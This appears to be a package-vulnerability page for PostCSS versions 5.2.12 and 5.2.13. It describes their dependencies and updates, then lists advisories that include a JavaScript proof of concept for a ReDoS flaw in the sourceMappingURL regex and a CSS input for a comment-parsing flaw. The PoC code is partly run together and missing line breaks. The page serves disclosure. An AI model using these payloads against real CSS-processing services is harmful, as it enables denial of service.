PostCSS is a powerful JavaScript tool for transforming CSS styles using plugins. Versions 5.2.12 and 5.2.13 offer developers a robust platform for modern CSS workflows, enabling features like vendor prefixing, future CSS syntax adoption, and advanced linting. Both versions share core dependencies such as chalk for colorful console output, js-base64 for base64 encoding, source-map for debugging, and supports-color for terminal color detection.
While the core functionality remains consistent, version 5.2.13, released on February 14, 2017, includes key updates and bug fixes compared to version 5.2.12, released on February 5, 2017. The updates involve mainly the postcss-parser-tests dependency, updated from version 5.0.10 to 5.0.11 and babel-core updated from version 6.22.1 to 6.23.1, suggesting improvements in parsing capabilities and alignment with newer JavaScript standards.
Developers leveraging PostCSS benefit from a rich ecosystem of plugins and a highly configurable environment. The devDependencies highlight this, including tools for testing (ava, sinon), linting (eslint), documentation (jsdoc, docdash), and build processes (gulp, babel). These tools ensure code quality, maintainability, and seamless integration into various development workflows. Notably, packages like gulp-sourcemaps and concat-with-sourcemaps emphasize the commitment to providing a great developer experience, especially when dealing with complex CSS transformations. The update to babel-core also demonstrates a dedication to keeping pace with advancements in the JavaScript landscape.
All the vulnerabilities related to the version 5.2.13 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.